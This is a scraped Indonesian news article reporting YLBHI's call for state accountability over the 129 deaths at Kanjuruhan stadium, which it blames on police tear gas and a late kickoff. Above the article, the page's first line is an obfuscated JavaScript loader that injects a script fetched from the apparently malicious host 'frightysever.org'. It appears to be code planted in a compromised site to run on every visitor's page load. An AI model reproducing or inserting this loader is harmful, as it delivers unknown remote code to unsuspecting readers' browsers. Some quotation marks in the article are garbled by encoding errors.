(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MALANG – Yayasan Lembaga Bantuan Hukum Indonesia (YLBHI) mendesak negara harus bertanggung jawab atas tewasnya 129 orang akibat tragedi Stadion Kanjuruhan Malang pada Sabtu (1/10/2022) malam.
Ketua YLBHI, Muhamad Isnur menyebut banyaknya korban meninggal dunia, diduga keras lantaran tembakan gas air mata yang mengarah ke tribun penonton. Pintu keluar yang terbatas, membuat para supporter berdesakan mencari jalan keluar.
“Kami menduga bahwa penggunaan kekuatan yang berlebihan (excessive use force) melalui penggunaan gas air mata dan pengendalian masa yang tidak sesuai prosedur menjadi penyebab banyaknya korban jiwa yang berjatuhan,†kata Isnur, dalam keterangannya, Minggu (2/10/2022).
Baca juga:Â Tragedi Stadion Kanjuruhan, Korban Lebih Banyak dari Tragedi Heysel Inggris
Gas air mata sendiri, menurut Isnur tidak sesuai dengan prosedural dalam mengendalikan massa yang berada di dalam stadion.
“Padahal jelas penggunaan gas Air mata tersebut dilarang oleh FIFA. FIFA dalam Stadium Safety and Security Regulation Pasal 19 menegaskan bahwa penggunaan gas air mata dan senjata api dilarang untuk mengamankan massa dalam stadion,†kata Isnur.
Selain itu, Isnur juga meminta Panitia Liga Indonesia Baru (LIB) untuk mengevaluasi tentang jam pertandingan yang terlalu malam. Ia menilai jika perhelatan pertadingan sepak bola digelar pada sore hari, mungkin dapat meminimalisir kerusuhan.
“Sejak awal panitia mengkhawatirkan akan pertandingan ini dan meminta kepada Liga (LIB) agar pertandingan dapat diselenggarakan sore hari untuk meminimalisir resiko. Tetapi sayangnya pihak Liga menolak permintaan tersebut dan tetap menyelenggarakan pertandingan pada malam hari,†kata Isnur.
Sebagai informasi, ribuan Aremania (Supporter Arema) menerobos masuk ke dalam stadion Kanjuruhan Malang, usai Arema Malang kalah 2-3 melawan Persebaya Surabaya di Stadion Kanjuruhan Malang.
Baca juga:Â Gas Air Mata Dilarang untuk Pengamanan Sepak Bola
Usai wasit meniup pluit panjang, supporter Arema Malang merangsek masuk sebagai tanda kekecewaan terhadap tim mereka.
Untuk mengurai massa, aparat kepolisan menembakan gas air mata. Alih-alih membubarkan massa yang berada di dalam stadion, tembakan gas air mata itu malah membuat supporter yang berada di atas tribun stadion berjatuhan. Total 129 supporter dinyatakan tewas lantaran hal tersebut. (Suara.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.